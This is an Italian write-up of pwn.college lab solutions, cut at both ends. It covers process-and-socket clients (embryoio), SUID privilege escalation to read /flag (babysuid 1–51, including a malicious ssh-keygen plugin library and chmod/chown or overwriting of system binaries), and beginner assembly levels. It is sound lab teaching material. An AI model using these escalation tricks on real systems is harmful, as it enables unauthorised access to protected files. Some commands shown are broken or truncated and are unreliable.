    int p[2]; pipe(p);

    if (fork() == 0) {
        dup2(p[1], 1);
        close(p[0]); close(p[1]);
        execlp("python3", "python3", "-c", expr, NULL);
        exit(1);
    }

    close(p[1]);
    FILE *f = fdopen(p[0], "r");
    fgets(out, n, f);
    fclose(f);
    wait(NULL);
}

int main() {
    int A[2], B[2], C[2], D[2];
    pipe(A); pipe(B); pipe(C); pipe(D);

    /* cat stdin */
    if (fork() == 0) {
        dup2(A[0], 0);
        dup2(B[1], 1);
        execlp("cat", "cat", NULL);
        exit(1);
    }

    /* challenge */
    if (fork() == 0) {
        dup2(B[0], 0);
        dup2(C[1], 1);
        execl("/challenge/embryoio_level139", "/challenge/embryoio_level139", NULL);
        exit(1);
    }

    /* cat stdout */
    if (fork() == 0) {
        dup2(C[0], 0);
        dup2(D[1], 1);
        execlp("cat", "cat", NULL);
    }
}

```

```

        exit(1);
    }

    /* parent */
    close(A[0]); close(B[0]); close(B[1]);
    close(C[0]); close(C[1]); close(D[1]);

    FILE *in  = fdopen(A[1], "w");  // scrivi al cat stdin
    FILE *out = fdopen(D[0], "r");  // leggi dal cat stdout

    char line[4096];

    while (fgets(line, sizeof(line), out)) {
        printf("%s", line);

        if (strstr(line, "Please send the solution for:")) {
            char *expr = strstr(line, ": ") + 2;

            char py[4096];
            snprintf(py, sizeof(py), "print(%s)", expr);

            char res[256];
            solve(py, res, sizeof(res));

            fprintf(in, "%s", res);
            fflush(in);
        }
    }
}

```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

140

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific (network) client process : shellscrip - the challenge will listen for input on a TCP port : 1916 - the challenge will force the parent process to solve a number of arithmetic problems : 5 - the challenge will use the following arithmetic operations in its arithmetic problems : +*% - the complexity (in terms of nested expressions) of the arithmetic problems : 3

SOLUZIONE:

1) Modifico script2.sh:

```
#!/bin/bash
```

```
exec 4<>/dev/tcp/localhost/1916 #la porta TCP richiesta è 1916
```

```
while read -u 4 line
do
    echo "$line"
    if [[ $line == *"CHALLENGE! Please send the solution for: "* ]]
    then
        cmd=${line:48}
        sol=$(python -c "print({cmd})")
        echo $sol >&4
    fi
done
```

- 2) Eseguo normalmente la challenge: /challenge/embryoio_level140
- 3) Eseguo script2.sh in un secondo terminale: /home/hacker/Desktop/script2.sh

141

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific (network) client process : python - the challenge will listen for input on a TCP port : 1830 - the challenge will force the parent process to solve a number of arithmetic problems : 5 - the challenge will use the following arithmetic operations in its arithmetic problems : +*% - the complexity (in terms of nested expressions) of the arithmetic problems : 3

SOLUZIONE:

- 1) Modifico il file script.py:

```
#!/bin/env python
```

```
import subprocess
import socket
```

```
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(("localhost",1830)) #Host richiesto: 1830
    data = s.recv(2048).decode('utf-8')
```

```
while len(data)>0:

    lines = data.split('\n')

    count = 0
    for line in lines:
```

```

count += 1
if "CHALLENGE" in line:
    cmd = line.split(':')[1].strip()
    print("Command:",cmd)
    cal = subprocess.Popen(["python","-c","print('"+cmd+"')"],stdout=subprocess.PIPE)
    cal.wait()
    result = cal.stdout.read().decode('utf-8')

    tosend = f"{str(result)}"
    print("Result:",tosend)
    s.sendall(tosend.encode())
if "pwn.college" in line:
    print("FLAG:",line)

```

```

data = s.recv(2048).decode('utf-8')
if count < len(lines)-1:
    data = lines[-1] + data

```

- 2) Eseguo normalmente la challenge: /challenge/embryoio_level141
- 3) Eseguo script.py in un secondo terminale: python3 /home/hacker/Desktop/script.py

142

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific (network) client process : binary - the challenge will listen for input on a TCP port : 1485 - the challenge will force the parent process to solve a number of arithmetic problems : 5 - the challenge will use the following arithmetic operations in its arithmetic problems : +*% - the complexity (in terms of nested expressions) of the arithmetic problems : 3

SOLUZIONE:

- 1) Modifico il file script.c

```

#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/wait.h>

#define PORT 1485

int pwncollege(){
    int sfd = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in srvaddr;
    srvaddr.sin_family = AF_INET;

```

```

    srvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    srvaddr.sin_port = htons(PORT);

    connect(sfd, (const struct sockaddr *)&srvaddr, sizeof(srvaddr));
    char buffer[1024];
    char* str = "[TEST] CHALLENGE";
    int num = 1;
    while(num > 0){
        num = read(sfd, buffer, sizeof(buffer));
        write(1, buffer, num);
        if(strncmp(buffer, str, 15) == 0){
            pid_t pid = fork();
            if(pid == 0){
                char problem[200] = "print(";
                strcpy(&problem[6], &buffer[48]);
                char end[3] = ")\0";
                strcpy(&problem[num - 42], &end[0]);
                dup2(sfd, STDOUT_FILENO);
                execl("/usr/bin/python", "/usr/bin/python", "-c", &problem, NULL);
            }
            else wait(NULL);
        }
    }
    close(sfd);
}

int main(){
    pwncollege();
}

```

2) Eseguo normalmente la challenge: /challenge/embryoio_level142

3) Eseguo script.c in un secondo terminale:

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

SETUID (Babysuid)

1

Welcome to /challenge/babysuid_level1!

This challenge is part of a series of programs that exposes you to very simple programs that let you directly read the flag.

I just set the SUID bit on /usr/bin/cat. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level1) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/cat!

SOLUZIONE:

```
cat /flag
```

2

Welcome to /challenge/babysuid_level2!

This challenge is part of a series of programs that exposes you to very simple programs that let you directly read the flag.

I just set the SUID bit on /usr/bin/more. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level2) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/more!

SOLUZIONE:

```
more /flag
```

3

Welcome to /challenge/babysuid_level3!

This challenge is part of a series of programs that exposes you to very simple programs that let you directly read the flag.

I just set the SUID bit on /usr/bin/less. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level3) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/less!

SOLUZIONE:

```
less /flag
```

4

Welcome to /challenge/babysuid_level4!

This challenge is part of a series of programs that exposes you to very simple programs that let you directly read the flag.

I just set the SUID bit on /usr/bin/tail. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level4) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/tail!

SOLUZIONE:

```
tail /flag
```

5

Welcome to /challenge/babysuid_level5!

This challenge is part of a series of programs that exposes you to very simple programs that let you directly read the flag.

I just set the SUID bit on /usr/bin/head. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level5) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/head!

SOLUZIONE:

```
head /flag
```

6

Welcome to /challenge/babysuid_level6!

This challenge is part of a series of programs that exposes you to very simple programs that let you directly read the flag.

I just set the SUID bit on /usr/bin/sort. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level6) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/sort!

SOLUZIONE:

```
sort /flag
```

7

Welcome to /challenge/babysuid_level7!

This challenge is part of a series of programs that shows you that an over-privileged editor is a very powerful tool, indeed.

I just set the SUID bit on /usr/bin/vim. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level7) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/vim!

SOLUZIONE:

```
vim /flag
```

8

Welcome to /challenge/babysuid_level8!

This challenge is part of a series of programs that shows you that an over-privileged editor is a very powerful tool, indeed.

I just set the SUID bit on /usr/bin/emacs. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level8) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/emacs!

SOLUZIONE:

```
emacs /flag
```

9

Welcome to /challenge/babysuid_level9!

This challenge is part of a series of programs that shows you that an over-privileged editor is a very powerful tool, indeed.

I just set the SUID bit on /usr/bin/nano. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level9) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/nano!

SOLUZIONE:

```
nano /flag
```

10

Welcome to /challenge/babysuid_level10!

This challenge is part of a series of programs that require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/rev. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level10) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/rev!

SOLUZIONE:

```
rev /flag | rev
```

11

Welcome to /challenge/babysuid_level11!

This challenge is part of a series of programs that require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/od. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level11) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/od!

SOLUZIONE:

```
# Con questi stampo i caratteri male, va ricostruita a mano la flag
od -a /flag
od -An -c /flag

# Con questo è già pronta
od -An -c /flag | tr -d ' \n'
```

12

Welcome to /challenge/babysuid_level12!

This challenge is part of a series of programs that require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/hd. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level12) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/hd!

SOLUZIONE:

```
# Con questo stampo i caratteri male, va ricostruita a mano la flag
hd /flag

# Con questo è già pronta
hd /flag | cut -d'|' -f2 | tr -d '\n'
```

13

Welcome to /challenge/babysuid_level13!

This challenge is part of a series of programs that require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/xxd. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level13) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/xxd!

SOLUZIONE:

```
# Con questo stampo i caratteri male, va ricostruita a mano la flag  
xxd /flag
```

```
# Con questo è già pronta  
xxd /flag | cut -d' ' -f10- | tr -d '\n'
```

14

Welcome to /challenge/babysuid_level14!

This challenge is part of a series of programs that require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/base32. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level14) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/base32!

SOLUZIONE:

```
base32 /flag | base32 -d
```

15

Welcome to /challenge/babysuid_level15!

This challenge is part of a series of programs that require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/base64. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level15) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/base64!

SOLUZIONE:

```
base64 /flag | base64 -d
```

16

Welcome to /challenge/babysuid_level16!

This challenge is part of a series of programs that require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/split. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level16) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/split!

SOLUZIONE:

```
# Divide la flag in altri file che ho il permesso di leggere
split /flag
cat xaa
```

17

Welcome to /challenge/babysuid_level17!

This challenge is part of a series of programs that force you to understand different archive formats.

I just set the SUID bit on /usr/bin/gzip. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level17) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/gzip!

SOLUZIONE:

```
gzip /flag
gzip -dc /flag.gz
```

18

Welcome to /challenge/babysuid_level18!

This challenge is part of a series of programs that force you to understand different archive formats.

I just set the SUID bit on /usr/bin/bzip2. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level18) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/bzip2

SOLUZIONE:

```
bzip2 /flag
bzip2 -dc /flag.bz2
```

19

Welcome to /challenge/babysuid_level19!

This challenge is part of a series of programs that force you to understand different archive formats.

I just set the SUID bit on `/usr/bin/zip`. Try to use it to read the flag!

IMPORTANT: make sure to run me (`/challenge/babysuid_level19`) every time that you restart this challenge container to make sure that I set the SUID bit on `/usr/bin/zip`!

SOLUZIONE:

```
zip /flag.zip /flag
unzip -p /flag.zip
```

20

Welcome to `/challenge/babysuid_level20`!

This challenge is part of a series of programs that force you to understand different archive formats.

I just set the SUID bit on `/usr/bin/tar`. Try to use it to read the flag!

IMPORTANT: make sure to run me (`/challenge/babysuid_level20`) every time that you restart this challenge container to make sure that I set the SUID bit on `/usr/bin/tar`!

SOLUZIONE:

```
tar -cf /flag.tar /flag
tar -xOf /flag.tar
```

21

Welcome to `/challenge/babysuid_level21`!

This challenge is part of a series of programs that force you to understand different archive formats.

I just set the SUID bit on `/usr/bin/ar`. Try to use it to read the flag!

IMPORTANT: make sure to run me (`/challenge/babysuid_level21`) every time that you restart this challenge container to make sure that I set the SUID bit on `/usr/bin/ar`!

SOLUZIONE:

```
ar r flag.a /flag
ar p flag.a
```

22

Welcome to /challenge/babysuid_level22!

This challenge is part of a series of programs that force you to understand different archive formats.

I just set the SUID bit on /usr/bin/cpio. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level22) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/cpio!

SOLUZIONE:

```
find /flag | cpio -o > flag.cpio
cpio -i --to-stdout < flag.cpio
```

23

Welcome to /challenge/babysuid_level23!

This challenge is part of a series of programs that force you to understand different archive formats.

I just set the SUID bit on /usr/bin/genisoimage. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level23) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/genisoimage!

SOLUZIONE:

```
genisoimage -sort /flag
```

24

Welcome to /challenge/babysuid_level24!

This challenge is part of a series of programs that will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/env. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level24) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/env!

SOLUZIONE:

```
env cat /flag
```

25

Welcome to /challenge/babysuid_level25!

This challenge is part of a series of programs that will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/find. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level25) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/find!

SOLUZIONE:

```
find -exec cat /flag \;
```

26

Welcome to /challenge/babysuid_level26!

This challenge is part of a series of programs that will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/make. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level26) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/make!

SOLUZIONE:

```
# Creo un file makefile da GUI oppure con touch makefile. Al suo interno
```

```
print:
```

```
    cat /flag
```

```
# Poi eseguo. Il nome della funzione in makefile è totalmente arbitrario
```

```
make print
```

27

Welcome to /challenge/babysuid_level27!

This challenge is part of a series of programs that will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/nice. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level27) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/nice!

SOLUZIONE:

```
nice cat /flag
```

28

Welcome to /challenge/babysuid_level28!

This challenge is part of a series of programs that will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/timeout. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level28) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/timeout!

SOLUZIONE:

```
timeout 0 cat /flag
```

29

Welcome to /challenge/babysuid_level29!

This challenge is part of a series of programs that will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/stdbuf. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level29) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/stdbuf!

SOLUZIONE:

```
stdbuf -o0 cat /flag
```

30

Welcome to /challenge/babysuid_level30!

This challenge is part of a series of programs that will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/setarch. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level30) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/setarch!

SOLUZIONE:

```
# Posso inserire una qualsiasi architettura, qui alcuni esempi
setarch x86_64 cat /flag
setarch linux32 cat /flag
setarch linux64 cat /flag
```

31

Welcome to /challenge/babysuid_level31!

This challenge is part of a series of programs that will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/watch. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level31) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/watch!

SOLUZIONE:

```
watch -x cat /flag
```

32

Welcome to /challenge/babysuid_level32!

This challenge is part of a series of programs that will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/socat. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level32) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/socat!

SOLUZIONE:

```
socat FILE:/flag STDOUT
```

33

Welcome to /challenge/babysuid_level33!

This challenge is part of a series of programs that will require some light programming to read the flag..

I just set the SUID bit on /usr/bin/whiptail. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level33) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/whiptail!

SOLUZIONE:

20 e 60 sono le dimensioni della finestra che si crea e sono valori arbitrari. Con 20 e 60
`whiptail --textbox /flag 20 60`

34

Welcome to /challenge/babysuid_level34!

This challenge is part of a series of programs that will require some light programming to read the flag..

I just set the SUID bit on /usr/bin/awk. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level34) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/awk!

SOLUZIONE:

```
awk 1 /flag
```

35

Welcome to /challenge/babysuid_level35!

This challenge is part of a series of programs that will require some light programming to read the flag..

I just set the SUID bit on /usr/bin/sed. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level35) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/sed!

SOLUZIONE:

```
# Funzionano entrambe  
sed '' /flag  
sed -n p /flag
```

36

Welcome to /challenge/babysuid_level36!

This challenge is part of a series of programs that will require some light programming to read the flag..

I just set the SUID bit on /usr/bin/ed. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level36) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/ed!

SOLUZIONE:

```
# Versione interattiva: avvia ed
ed /flag
# Nella chat ed:
1,$p

# Versione diretta
ed /flag <<< '1,$p'
```

37

Welcome to /challenge/babysuid_level37!

This challenge is part of a series of programs that let you get the flag by doing tricks with permissions.

I just set the SUID bit on /usr/bin/chown. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level37) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/chown!

SOLUZIONE:

```
chown hacker /flag
cat /flag
```

38

Welcome to /challenge/babysuid_level38!

This challenge is part of a series of programs that let you get the flag by doing tricks with permissions.

I just set the SUID bit on /usr/bin/chmod. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level38) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/chmod!

SOLUZIONE:

```
chmod +r /flag
cat /flag
```

39

Welcome to /challenge/babysuid_level39!

This challenge is part of a series of programs that let you get the flag by doing tricks with permissions.

I just set the SUID bit on /usr/bin/cp. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level39) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/cp!

SOLUZIONE:

```
cp /flag /dev/stdout
```

40

Welcome to /challenge/babysuid_level40!

This challenge is part of a series of programs that let you get the flag by doing tricks with permissions.

I just set the SUID bit on /usr/bin/mv. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level40) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/mv!

SOLUZIONE:

```
# Scambio i comandi mv e cat così che eseguendo mv eseguo cat
/challenge/babysuid_level40; mv /usr/bin/cat /usr/bin/mv; /challenge/babysuid_level40; mv /
```

41

Welcome to /challenge/babysuid_level41!

This challenge is part of a series of programs that let you read the flag because they let you program anything.

I just set the SUID bit on /usr/bin/perl. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level41) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/perl!

SOLUZIONE:

```
perl -d /flag
```

42

Welcome to /challenge/babysuid_level42!

This challenge is part of a series of programs that let you read the flag because they let you program anything.

I just set the SUID bit on /usr/bin/python. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level42) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/python!

SOLUZIONE:

```
python3 -d /flag
```

43

Welcome to /challenge/babysuid_level43!

This challenge is part of a series of programs that let you read the flag because they let you program anything.

I just set the SUID bit on /usr/bin/ruby. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level43) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/ruby!

SOLUZIONE:

```
# Stampa la flag incompleta dove manca la parte iniziale es. "...college{8F4GYQIe0JZuM8n77  
ruby -d /flag
```

```
# Altrimenti creo un file script.rb con all'interno  
puts File.read("/flag")  
# E lo eseguo  
ruby /home/hacker/Desktop/script.rb
```

44

Welcome to /challenge/babysuid_level44!

This challenge is part of a series of programs that let you read the flag because they let you program anything.

I just set the SUID bit on /usr/bin/bash. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level44) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/bash!

SOLUZIONE:

```
bash -p /flag
```

45

Welcome to /challenge/babysuid_level45!

This challenge is part of a series of programs that just straight up weren't designed to let you read files.

I just set the SUID bit on `/usr/bin/date`. Try to use it to read the flag!

IMPORTANT: make sure to run me (`/challenge/babysuid_level45`) every time that you restart this challenge container to make sure that I set the SUID bit on `/usr/bin/date`!

SOLUZIONE:

```
date -f /flag
```

46

Welcome to `/challenge/babysuid_level46`!

This challenge is part of a series of programs that just straight up weren't designed to let you read files.

I just set the SUID bit on `/usr/bin/dmesg`. Try to use it to read the flag!

IMPORTANT: make sure to run me (`/challenge/babysuid_level46`) every time that you restart this challenge container to make sure that I set the SUID bit on `/usr/bin/dmesg`!

SOLUZIONE:

```
dmesg -F /flag
```

47

Welcome to `/challenge/babysuid_level47`!

This challenge is part of a series of programs that just straight up weren't designed to let you read files.

I just set the SUID bit on `/usr/bin/wc`. Try to use it to read the flag!

IMPORTANT: make sure to run me (`/challenge/babysuid_level47`) every time that you restart this challenge container to make sure that I set the SUID bit on `/usr/bin/wc`!

SOLUZIONE:

```
wc --files0-from=/flag
```

48

Welcome to `/challenge/babysuid_level48`!

This challenge is part of a series of programs that just straight up weren't designed to let you read files.

I just set the SUID bit on /usr/bin/gcc. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level48) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/gcc!

SOLUZIONE:

```
gcc -E -x c /flag
```

49

Welcome to /challenge/babysuid_level49!

This challenge is part of a series of programs that just straight up weren't designed to let you read files.

I just set the SUID bit on /usr/bin/as. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level49) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/as!

SOLUZIONE:

```
as /flag
```

50

Welcome to /challenge/babysuid_level50!

This challenge is part of a series of programs that just straight up weren't designed to let you read files.

I just set the SUID bit on /usr/bin/wget. Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level50) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/wget!

SOLUZIONE:

```
wget -i /flag
```

```
# Versione più pulita
```

```
wget -i /flag --base /flag
```

51

Welcome to /challenge/babysuid_level51!

This challenge is part of a series of programs that show you how dangerous it is to allow users to load their own code as plugins into the program (but figuring out how is the hard part!).

I just set the SUID bit on `/usr/bin/ssh-keygen`. Try to use it to read the flag!

IMPORTANT: make sure to run me (`/challenge/babysuid__level51`) every time that you restart this challenge container to make sure that I set the SUID bit on `/usr/bin/ssh-keygen`!

SOLUZIONE:

Creo un file `exploit.c` che utilizza una funzione `C_GetFunctionList` per leggere la flag:

```
#include <stdio.h>

int C_GetFunctionList(){

    FILE *f = fopen("/flag", "r");
    char buf[1000];
    fgets(buf, 1000, f);
    printf("%s", buf);
}
```

Eseguo con:

```
gcc -shared -fPIC /home/hacker/Desktop/exploit.c -o /home/hacker/Desktop/exploit.so
ssh-keygen -D /home/hacker/Desktop/exploit.so
```

ASSEMBLY (Embryoasm)

1

Welcome to EmbryoASMLevel1

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

In this level you will be working with registers. You will be asked to modify or read from registers__use.

In this level you will work with registers__use! Please set the following: `* rdi = 0x1337`

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix
```

```
.global _start  
.section .text
```

```
_start:  
    mov rdi, 0x1337
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova embryoasm.s)

```
gcc -static -nostdlib -o embryoasm embryoasm.s  
objcopy --dump-section .text=embryoasm.tex embryoasm  
cat embryoasm.tex | /challenge/embryoasm_level*
```

2

Welcome to EmbryoASMLevel2

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

In this level you will be working with registers. You will be asked to modify or read from registers__use.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers__use. We will tell you which registers__use are set beforehand and where you should put the result. In most cases, its rax.

Many instructions exist in x86 that allow you to do all the normal math operations on registers__use and memory. For shorthand, when we say $A += B$, it really means, $A = A + B$. Here are some useful instructions: $\text{add reg1, reg2} \Leftrightarrow \text{reg1} += \text{reg2}$ $\text{sub reg1, reg2} \Leftrightarrow \text{reg1} -= \text{reg2}$ $\text{imul reg1, reg2} \Leftrightarrow \text{reg1} *= \text{reg2}$ div is a littler harder, we will discuss it later. Note: all 'regX' can be replaced by a constant or memory location

Do the following: * add 0x331337 to rdi

We will now set the following in preparation for your code: rdi = 0xf6e

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file embryoasm.s

```
.intel_syntax noprefix
```

```
.global _start  
.section .text
```

```
_start:
    add rdi, 0x331337
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova embryoasm.s)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

3

Welcome to EmbryoASMLevel3

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

In this level you will be working with registers. You will be asked to modify or read from registers__use.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers__use. We will tell you which registers__use are set beforehand and where you should put the result. In most cases, its rax.

Using your new knowledge, please compute the following: $f(x) = mx + b$, where: $m = rdi$ $x = rsi$ $b = rdx$ Place the value into rax given the above. We will now set the following in preparation for your code: $rdi = 0x19c4$ $rsi = 0x23dd$ $rdx = 0xf3a$

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file embryoasm.s

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    mov rax, rdi
    imul rax, rsi
    add rax, rdx
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova embryoasm.s)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

4

Welcome to EmbryoASMLevel4

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

In this level you will be working with registers. You will be asked to modify or read from registers__use.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers__use. We will tell you which registers__use are set beforehand and where you should put the result. In most cases, its rax.

Recall division in x86 is more special than in normal math. Math in here is called integer math. This means everything, as it is now, is in the realm of whole looking numbers. As an example: $10 / 3 = 3$ in integer math. Why? Because 3.33 gets rounded down to an integer. The relevant instructions for this level are: mov rax, reg1; div reg2 Notice: to use this instruction you need to first load rax with the desired register you intended to be the divided. Then run div reg2, where reg2 is the divisor. This results in: rax = rdi / rsi; rdx = remainder The quotient is placed in rax, the remainder is placed in rdx. Please compute the following: speed = distance / time, where: distance = rdi time = rsi Place the value of speed into rax given the above. We will now set the following in preparation for your code: rdi = 0xebe rsi = 0xb

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file embryoasm.s

```
.intel_syntax noprefix
```

```
.global _start
```

```
.section .text
```

```
_start:
```

```
    mov rax, rdi
```

```
    div rsi
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova embryoasm.s)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

5

Welcome to EmbryoASMLevel5

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

In this level you will be working with registers. You will be asked to modify or read from registers__use.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers__use. We will tell you which registers__use are set beforehand and where you should put the result. In most cases, its rax.

